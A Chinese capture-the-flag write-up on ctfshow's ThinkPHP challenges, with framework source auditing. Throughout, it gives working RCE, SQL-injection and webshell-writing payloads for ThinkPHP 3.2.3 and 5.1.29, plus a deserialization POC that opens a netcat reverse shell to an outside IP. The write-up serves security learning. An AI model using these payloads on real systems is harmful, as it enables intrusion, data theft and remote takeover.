ctfshow的thinkphp专题

安装composer

我们肯定是要看源码的,所以下载这个工具在Windows

1
https://getcomposer.org/Composer-Setup.exe

下载之后,选中已经有的php.exe

如果在ini中有这个设置就把他注释了

1
xdebug.start_with_request=yes

然后不要选择代理,就一直按next就可以了

1
2
composer -v
如果有回显就是成功了

web569

tp3.2.3下载

然后小皮里面设置路径为默认的目录,其中三个文件夹

1
2
3
application
Public
ThinkPHP
1
2
3
4
CTFshow
thinkphp 专项训练-pathinfo的运用

flag在Admin模块的Login控制器的ctfshowLogin方法中

这里就是tp的路由问题,如何利用路由直接来进行懒加载调用方法

因为类的命名空间和文件路径是一致的。

1
2
3
4
5
6
7
8
9
10
11
PATHINFO模式
/index.php/Admin/Login/ctfshowLogin

普通模式
/index.php?m=Admin&c=Login&f=ctfshowLogin

兼容模式
/index.php?s=Admin/Login/ctfshowLogin

REWRITE模式
/Admin/Login/ctfshowLogin

web570

这里有个小技巧,打开全局搜索(VSCODE)

1
Ctrl+shift+f

拿到代码之后挨个找找发现能看的其实也就这一个文件,里面会直接调用函数

1

1
2
3
4
<?php
$f="assert";
$d="system('whoami');";
call_user_func($f,$d);

然后正常的打就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /index.php/ctfshow/assert/system($_POST[a]) HTTP/1.1
Host: 8dc231d4-e447-441c-9d51-3e3f18902dd3.challenge.ctf.show
Cookie: PHPSESSID=gk1cuucv5cqg8tls58b134unp4
Content-Length: 19
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://8dc231d4-e447-441c-9d51-3e3f18902dd3.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://8dc231d4-e447-441c-9d51-3e3f18902dd3.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close

a=tac /flag_is_here

web571

1

这里有一个模版渲染漏洞,其中可以直接渲染n

ThinkPHP 中的 URL 通常遵循如下结构:

1
/index.php/Home/Controller/Action

这个结构的意义如下:

  • index.php: 入口文件,负责加载框架。
  • Home: 指向应用中的某个模块或命名空间。
  • Controller: 指向具体的控制器类。
  • Action: 指向控制器中的某个方法(动作)。

控制器类名是 IndexController,根据 ThinkPHP 的约定,控制器名称应以 Controller 结尾。

在 URL 中,控制器的名称是去掉 Controller 后缀的,即在访问时应该使用 Index

1
2
3
/index.php/Home/Index/index/?n=<php>system("tac /f*")</php>

/index.php/Home/Index/index/?n=<?php system("tac /f*");?>

原因我们去看源码

现在用composer下载,在VSCODE终端中输入这条命令

1
composer create-project topthink/thinkphp=3.2.3 tp3

替换恶意代码然后启动

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller {
public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
}

}

然后启动

1
php -S localhost:8000

发现刚才的payload是可以成功命令执行的,那么我们进行debug一探究竟

1

1

这一步是调用方法然后就会进行app::exec的调用,再者进行存日志,删空间

调试走的是app.class.php

1
invokeAction()->exec()->run()->start()->fatalError()

这里发现只是一些方法什么的确认,看来我们需要跟进

跟进之后发现是这条

1
show()->display()->fetch()->

1

发现赋值是这样子,跟进这个函数之后发现代码被隐藏了,那么此时就只能查看官方文档了

1
2
3
4
5
function ob_get_clean(){
$contents=ob_get_contents();
if($contents!==false) ob_end_clean();
return $contents;
}

ob_get_contents用来返回缓冲区的内容

1
2
3
4
5
6
7
8
<?php 
ob_start();
echo "Hello ";
$out1=ob_get_contents();
echo "World";
$out2=ob_get_contents();
ob_end_clean();
var_dump($out1,$out2);

测试了就知道了输出的是缓存区的内容

1

这里我们模版是原生模版所以成功eval,审计好玩啊,就是代码好多看不懂

web572

爆破一下了只有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GET /Application/Runtime/Logs/Home/§21_09_06§.log HTTP/1.1
Host: 5f96fa2c-732c-4b3b-8bfd-ccd8cc49b70e.challenge.ctf.show
Cookie: PHPSESSID=q0fdga7ep6qaip22ssm216r1m5
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Ch-Ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Referer: https://5f96fa2c-732c-4b3b-8bfd-ccd8cc49b70e.challenge.ctf.show/
Priority: u=0, i
Connection: close


然后设置

1

然后拿到日志,日志里面是这个

1
[ 2021-04-15T14:49:32+08:00 ] 127.0.0.1 /index.php?showctf=%3C?php%20phpinfo();?%3E

payload是这

1
/index.php?showctf=<?php system("tac /f*");?>

web573

3.2.3的sql注入漏洞,这里我们直接就注入就可以

1
2
3
?id[where]=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3,4

?id[where]=0 union select 1,(select flag4s from flags),3,4

注入手法很简单,不过还是可以审计一下的,先设置

/ThinkPHP/Conf/convention.php

1

在修改控制器文件代码为

1
2
3
4
5
6
class IndexController extends Controller {
public function index(){
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
}

那么即可注入

1
?id[where]=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3

web574

1
2
3
4
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
1
2
3
4
5
?id=0) union select 1,2,3,4--+

?id=0) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags'),3,4--+

?id=0) union select 1,(select flag4s from flags),3,4--+

这里审计基本和上题一致

web575

修改主控制器为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller {
public function index($id){
$user= unserialize(base64_decode(cookie('user')));
if(!$user) echo "no";
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

}

很明显是username里面的问题,我们跟进show方法,跟进之后继续跟进fetch方法

1

这不是之前一样的?那我们直接反序列化进行RCE即可

写poc

1
2
3
4
5
6
7
8
9
<?php

namespace Home\Controller;
class IndexController{
public $id='1';
public $username='<?php system("nc 156.238.233.9 9999 -e /bin/sh");?>';
}

echo base64_encode(serialize(new IndexController()));

web576

1
$user = M('Users')->comment($id)->find(intval($id));

跟进之后

1

跟进到类里面得到comment的样子

1

再从这里跟进到新类

1

1

这里利用注释闭合,然后写入shell

1
?id=1*/ into outfile "/var/www/html/shell.php" LINES STARTING BY '<?php eval($_POST[1]);?>'%23

web577

表达式查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller {
public function index($id){
$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();
}

}

1

然后一直跟进到Driver.class.php

1

发现只要第一个参数是bind或者exp就会直接拼接查询语句

1
2
3
?id[0]=exp&id[1]==0 union select 1,2,3,4--+

?id[0]=exp&id[1]==0 union select 1,(select flag4s from flags),3,4--+

web 578

变量覆盖RCE

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller {
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
}

1

首先assign方法进行参数赋值,继续跟进就会发现和之前研究的那个好像是一模一样

1

1

1
2
3
?name=_content&from=<?php system("whoami");?>

?name[_content]=<?php system("tac /f*");?>

web 579

tp5未开启强制路由RCE

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

web604

tp5未开启强制路由RCE版本thinkphp 5.1.29

换控制器即可

1
?s=index/think\request/input?data[0]=ls ../../../../&filter=system

web605

未开启强制路由RCE-姿势3

版本thinkphp 5.1.29,用write写webshell

1
?s=index/\think\template\driver\File/write&cacheFile=shell1.php&content=<?php @eval($_GET[1]);?>

web606–web610

未开启强制路由RCE-姿势4

版本thinkphp 5.1.29,直接大小写绕过控制器即可,总共可用的控制器为以下这几个

1
invokefunction、display、input、write

poc为

1
2
3
4
5
6
7
?s=index/\think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][0]=ls /

?s=index/think\request/Input?data[0]=ls ../../../../&filter=system

?s=index/\think\template\driver\File/Write&cacheFile=shell1.php&content=<?php @eval($_GET[1]);?>

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('cat /f*'); ?>

未开启强制路由RCE动态调试

小结

持续更新啊,还是挺多的不过挺有意思,大菜鸡师傅出题就是润!